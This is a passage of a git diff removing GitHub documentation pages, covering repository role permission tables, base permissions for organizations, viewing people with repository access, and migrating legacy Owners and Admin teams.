[topics](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Enable wikis and restrict wiki editors | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Enable {% data variables.projects.projects_v1_boards %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Configure [pull request merges](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Configure [a publishing source for {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| {% ifversion copilot %} | -| View [content exclusion settings](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/about-content-exclusions-for-github-copilot) for {% data variables.product.prodname_copilot %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| Manage [branch protection rules](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/managing-a-branch-protection-rule) and [repository rulesets](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| View [rulesets for a repository](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Push to protected branches](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches)
Doesn't apply to rulesets as these have a different bypass model. See [Granting bypass permissions for your branch or tag ruleset](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#granting-bypass-permissions-for-your-branch-or-tag-ruleset). | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Merge pull requests on protected branches, even if there are no approving reviews | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% ifversion ghes < 3.16 %} | -| Create tags that match a [tag protection rule](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Delete tags that match a [tag protection rule](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| [Create and edit repository social cards](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| {% ifversion fpt or ghec %} | -| Limit [interactions in a repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)| {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| Delete an issue (see [AUTOTITLE](/issues/tracking-your-work-with-issues/deleting-an-issue)) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| [Define code owners for a repository](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Add a repository to a team (see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#giving-a-team-access-to-a-repository) for details) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| [Manage outside collaborator access to a repository](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/adding-outside-collaborators-to-repositories-in-your-organization) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| [Change a repository's visibility](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| Make a repository a template (see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-template-repository)) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| Change a repository's settings | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| Manage team and collaborator access to the repository | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| Edit the repository's default branch | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| Rename the repository's default branch (see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch)) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| Rename a branch other than the repository's default branch (see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch)) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| Manage webhooks and deploy keys | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| [Manage the forking policy for a repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| [Transfer repositories into the organization](/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| [Delete or transfer repositories out of the organization](/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| [Archive repositories](/repositories/archiving-a-github-repository/archiving-repositories) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% ifversion fpt or ghec %} | -| Display a sponsor button (see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository)) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| Create autolink references to external resources, like Jira or Zendesk (see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources)) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| [Enable {% data variables.product.prodname_discussions %}](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/enabling-or-disabling-github-discussions-for-a-repository) in a repository | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Create and edit categories](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions) for {% data variables.product.prodname_discussions %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Move a discussion to a different category](/discussions/managing-discussions-for-your-community/managing-discussions) | {% octicon "x" aria-label="No" %} | {% ifversion discussions-moderators-control-who-can-report %}{% octicon "check" aria-label="Yes" %}{% endif %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} || [Transfer a discussion](/discussions/managing-discussions-for-your-community/managing-discussions) to a new repository| {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Manage pinned discussions](/discussions/managing-discussions-for-your-community/managing-discussions) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Convert issues to discussions in bulk](/discussions/managing-discussions-for-your-community/managing-discussions) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Lock and unlock discussions](/discussions/managing-discussions-for-your-community/moderating-discussions) | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Individually convert issues to discussions](/discussions/managing-discussions-for-your-community/moderating-discussions) | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Create new discussions and comment on existing discussions](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Delete a discussion](/discussions/managing-discussions-for-your-community/managing-discussions#deleting-a-discussion) | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| {% ifversion fpt or ghec %} | -| [Create codespaces](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository?tool=webui) for private{% ifversion ghec %}/internal{% endif %} repositories | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Create codespaces](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository?tool=webui) for private{% ifversion ghec %}/internal{% endif %} repositories with [Codespaces secrets access](/codespaces/managing-codespaces-for-your-organization/managing-development-environment-secrets-for-your-repository-or-organization?tool=webui) | {% octicon "check" aria-label="No" %} | {% octicon "check" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Create codespaces](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository?tool=webui) for public repositories
(users with read-only access can only create codespaces at their own expense) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | - -{% endrowheaders %} - -### Access requirements for security features - -In this section, you can find the access required for security features, such as {% data variables.product.prodname_GHAS %} features. - -> [!NOTE] -> Repository writers and maintainers can only see secret scanning alert information for their own commits. - -{% rowheaders %} - -| Repository action | Read | Triage | Write | Maintain | Admin | -|:---|:---:|:---:|:---:|:---:|:---:| -| Receive [{% data variables.product.prodname_dependabot_alerts %} for insecure dependencies](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts) in a repository | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [Dismiss {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| {% ifversion ghes or ghec %}| -| [Designate additional people or teams to receive security alerts](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| {% ifversion fpt or ghec %} | -| Create [security advisories](/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} |{% endif %}{% ifversion ghes or ghec %} -| Manage access to {% data variables.product.prodname_GHAS %} features (see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization)) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} |{% endif %}{% ifversion fpt or ghec %} -| [Enable the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository) for a private repository | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| {% ifversion ghes or ghec %} | -| [View dependency reviews](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| [View {% data variables.product.prodname_code_scanning %} alerts on pull requests](/code-security/code-scanning/managing-code-scanning-alerts/triaging-code-scanning-alerts-in-pull-requests) | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [List, dismiss, and delete {% data variables.product.prodname_code_scanning %} alerts](/code-security/code-scanning/managing-code-scanning-alerts/resolving-code-scanning-alerts) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| [View and dismiss {% data variables.secret-scanning.alerts %} in a repository](/code-security/secret-scanning/managing-alerts-from-secret-scanning) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} |{% ifversion ghes or ghec %} -| [Resolve, revoke, or re-open {% data variables.secret-scanning.alerts %}](/code-security/secret-scanning/managing-alerts-from-secret-scanning) | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | -| {% ifversion ghes or ghec %} | -| [Designate additional people or teams to receive {% data variables.secret-scanning.alerts %}](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) in repositories | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "x" aria-label="No" %} | {% octicon "check" aria-label="Yes" %} | -| {% endif %} | - -{% endrowheaders %} - -## Further reading - -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/adding-outside-collaborators-to-repositories-in-your-organization){% ifversion projects-v1 %} -* [AUTOTITLE](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization){% endif %} diff --git a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/setting-base-permissions-for-an-organization.md b/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/setting-base-permissions-for-an-organization.md deleted file mode 100644 index f94b067e809e..000000000000 --- a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/setting-base-permissions-for-an-organization.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Setting base permissions for an organization -intro: You can set base permissions for the repositories that an organization owns. -permissions: Organization owners can set base permissions for an organization. -redirect_from: - - /github/setting-up-and-managing-organizations-and-teams/setting-base-permissions-for-an-organization - - /organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization - - /organizations/managing-user-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Set base permissions ---- - -## About base permissions for an organization - -You can set base permissions that apply to all members of an organization when accessing any of the organization's repositories. Base permissions do not apply to outside collaborators. - -{% ifversion fpt or ghec %}By default, members of an organization will have **Read** permissions to the organization's public repositories.{% endif %} - -If someone with admin access to an organization's repository grants a member a higher level of access for the repository, the higher level of access overrides the base permission. - -{% ifversion ghec or ghes %} -If you've created a custom repository role with an inherited role that is lower access than your organization's base permissions, any members assigned to that role will default to the organization's base permissions rather than the inherited role. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-custom-repository-roles-for-an-organization). -{% endif %} - -> [!NOTE] -> * All changes to base permissions will affect both new and existing members. -> * {% data reusables.repositories.org-base-permissions-private-forks %} - -## Setting base permissions - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.member-privileges %} -1. Under "Base permissions", select the dropdown menu and click a permissions level. -1. Review the changes. To confirm, click **Change default permission to PERMISSION**. - -## Further reading - -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/adding-outside-collaborators-to-repositories-in-your-organization) diff --git a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/viewing-people-with-access-to-your-repository.md b/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/viewing-people-with-access-to-your-repository.md deleted file mode 100644 index 52d6bdf63579..000000000000 --- a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/viewing-people-with-access-to-your-repository.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Viewing people with access to your repository -intro: 'You can view{% ifversion ghec or ghes %} and export{% endif %} a list of people with access to a repository within an organization.' -redirect_from: - - /articles/viewing-people-with-access-to-your-repository - - /github/setting-up-and-managing-organizations-and-teams/viewing-people-with-access-to-your-repository - - /organizations/managing-access-to-your-organizations-repositories/viewing-people-with-access-to-your-repository - - /organizations/managing-user-access-to-your-organizations-repositories/viewing-people-with-access-to-your-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: View people with access -permissions: Organization owners can view people with access to a repository. ---- - -## About the list of people with access to your repository - -You can use this information to help off-board people, gather data for compliance, and other general security checkups. - -{% ifversion fpt %} -Organizations that use {% data variables.product.prodname_ghe_cloud %} can also export a CSV list of people who have access to a repository. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/viewing-people-with-access-to-your-repository). -{% endif %} - -## Viewing people with access to your repository - -You can see a combined overview of teams and people with access to your repository in your repository settings. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository#about-access-management-for-repositories). - -{% ifversion ghec or ghes %} - -## Exporting a list of people with access to your repository - -{% ifversion ghec %} - -> [!NOTE] -> Only organizations that use {% data variables.product.prodname_ghe_cloud %} can export a list of people with access to a repository. {% data reusables.enterprise.link-to-ghec-trial %} - -{% endif %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.accessing-repository-graphs %} -{% data reusables.repositories.accessing-repository-people %} -1. Above the list of people, click **Export CSV**. -{% endif %} diff --git a/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md b/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md deleted file mode 100644 index d271cd593b16..000000000000 --- a/content/organizations/migrating-to-improved-organization-permissions/converting-an-admin-team-to-improved-organization-permissions.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Converting an admin team to improved organization permissions -intro: 'If your organization was created after September 2015, your organization has improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved permissions model. Members of legacy admin teams automatically retain the ability to create repositories until those teams are migrated to the improved organization permissions model.' -redirect_from: - - /articles/converting-your-previous-admin-team-to-the-improved-organization-permissions - - /articles/converting-an-admin-team-to-improved-organization-permissions - - /github/setting-up-and-managing-organizations-and-teams/converting-an-admin-team-to-improved-organization-permissions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Convert admin team ---- - -You can remove the ability for members of legacy admin teams to create repositories by creating a new team for these members, ensuring that the team has necessary access to the organization's repositories, then deleting the legacy admin team. - -For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). - -> [!WARNING] -> * If there are members of your legacy Admin team who are not members of other teams, deleting the team will remove those members from the organization. Before deleting the team, ensure members are already direct members of the organization, or have collaborator access to necessary repositories. -> * To prevent the loss of private forks made by members of the legacy Admin team, you must follow steps 1-3 below before deleting the legacy Admin team. -> * Because "admin" is a term for organization members with specific [access to certain repositories](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization) in the organization, we recommend you avoid that term in any team name you decide on. - -1. [Create a new team](/organizations/organizing-members-into-teams/creating-a-team). -1. [Add each of the members](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team) of your legacy admin team to the new team. -1. [Give the new team equivalent access](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-team-access-to-an-organization-repository) to each of the repositories the legacy team could access. -1. [Delete the legacy admin team](/organizations/organizing-members-into-teams/deleting-a-team). diff --git a/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md b/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md deleted file mode 100644 index 449a83879ba4..000000000000 --- a/content/organizations/migrating-to-improved-organization-permissions/converting-an-owners-team-to-improved-organization-permissions.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Converting an Owners team to improved organization permissions -intro: 'If your organization was created after September 2015, your organization has improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved permissions model. The "Owner" is now an administrative role given to individual members of your organization. Members of your legacy Owners team are automatically given owner privileges.' -redirect_from: - - /articles/converting-your-previous-owners-team-to-the-improved-organization-permissions-early-access-program - - /articles/converting-your-previous-owners-team-to-the-improved-organization-permissions - - /articles/converting-an-owners-team-to-improved-organization-permissions - - /github/setting-up-and-managing-organizations-and-teams/converting-an-owners-team-to-improved-organization-permissions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Convert Owners team ---- - -You have a few options to convert your legacy Owners team: - -* Give the team a new name that denotes the members have a special status in the organization. -* Delete the team after ensuring all members have been added to teams that grant necessary access to the organization's repositories. - -## Give the Owners team a new name - -> [!NOTE] -> Because "admin" is a term for organization members with specific access to certain repositories in the organization, we recommend you avoid that term in any team name you decide on. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.owners-team %} -{% data reusables.organizations.convert-owners-team-confirm %} -1. In the team name field, choose a new name for the Owners team. For example: - * If very few members of your organization were members of the Owners team, you might name the team "Core". - * If all members of your organization were members of the Owners team so that they could [@mention teams](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#mentioning-people-and-teams), you might name the team "Employees". -1. Under the team description, click **Save and continue**. -1. Optionally, make the team public. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/changing-team-visibility). - -## Delete the legacy Owners team - -> [!WARNING] -> If there are members of your Owners team who are not members of other teams, deleting the team will remove those members from the organization. Before deleting the team, ensure members are already direct members of the organization, or have collaborator access to necessary repositories. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.owners-team %} -{% data reusables.organizations.convert-owners-team-confirm %} -1. At the bottom of the page, review the warning and click **Delete the Owners team**. diff --git a/content/organizations/migrating-to-improved-organization-permissions/index.md b/content/organizations/migrating-to-improved-organization-permissions/index.md deleted file mode 100644 index 510cc6c4d73e..000000000000 --- a/content/organizations/migrating-to-improved-organization-permissions/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Migrating to improved organization permissions -intro: 'If your organization was created after September 2015, your organization includes improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved organization permissions model.' -redirect_from: - - /articles/improved-organization-permissions - - /articles/github-direct-organization-membership-pre-release-guide - - /articles/migrating-your-organization-to-improved-organization-permissions - - /articles/migrating-to-improved-organization-permissions - - /github/setting-up-and-managing-organizations-and-teams/migrating-to-improved-organization-permissions -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -children: - - /converting-an-owners-team-to-improved-organization-permissions - - /converting-an-admin-team-to-improved-organization-permissions - - /migrating-admin-teams-to-improved-organization-permissions -shortTitle: Migrate to improved permissions ---- - diff --git a/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md b/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md deleted file mode 100644 index d67f970d7068..000000000000 --- a/content/organizations/migrating-to-improved-organization-permissions/migrating-admin-teams-to-improved-organization-permissions.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Migrating admin teams to improved organization permissions -intro: 'If your organization was created after September 2015, your organization has improved organization permissions by default. Organizations created before September 2015 may need to migrate older Owners and Admin teams to the improved permissions model. Members of legacy admin teams automatically retain the ability to create repositories until those teams are migrated to the improved organization permissions model.' -redirect_from: - - /articles/migrating-your-previous-admin-teams-to-the-improved-organization-permissions - - /articles/migrating-admin-teams-to-improved-organization-permissions - - /github/setting-up-and-managing-organizations-and-teams/migrating-admin-teams-to-improved-organization-permissions -versions: - fpt: '*' - ghes: '*' - 